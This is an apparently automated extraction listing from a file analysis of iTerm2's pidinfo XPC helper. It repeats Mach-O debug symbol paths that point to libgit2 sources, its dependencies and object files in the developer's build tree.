Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/deps/ntlmclient/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/deps/ntlmclient/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/deps/ntlmclient/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/sources/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/sources/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/deps/http-parser/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/deps/ntlmclient/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(alloc.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(annotated_commit.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(attr.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(attr_file.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(blob.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(branch.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(buf_text.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(buffer.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(cache.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(checkout.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(clone.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(attrcache.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(auth.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(auth_ntlm.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(config_cache.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(config_entries.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(config_file.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(config_parse.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(config_snapshot.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(credential.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(collisiondetect.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(commit.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(commit_list.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(config.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(diff_driver.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(diff_file.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(diff_generate.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(diff_print.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(diff_stats.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(crlf.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(crypt_commoncrypto.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(date.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(delta.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(diff.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(filebuf.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(filter.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(futils.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(git.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(diff_tform.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(diff_xdiff.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(errors.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(failalloc.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(fetch.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(fetchhead.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(ignore.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(index.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(indexer.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(hash.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(hashsig.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(http.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(http_parser.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(httpclient.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(ident.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(idxmap.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/allocators/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/allocators/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/hash/sha1/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/hash/sha1/sha1dc/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/hash/sha1/sha1dc/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/streams/
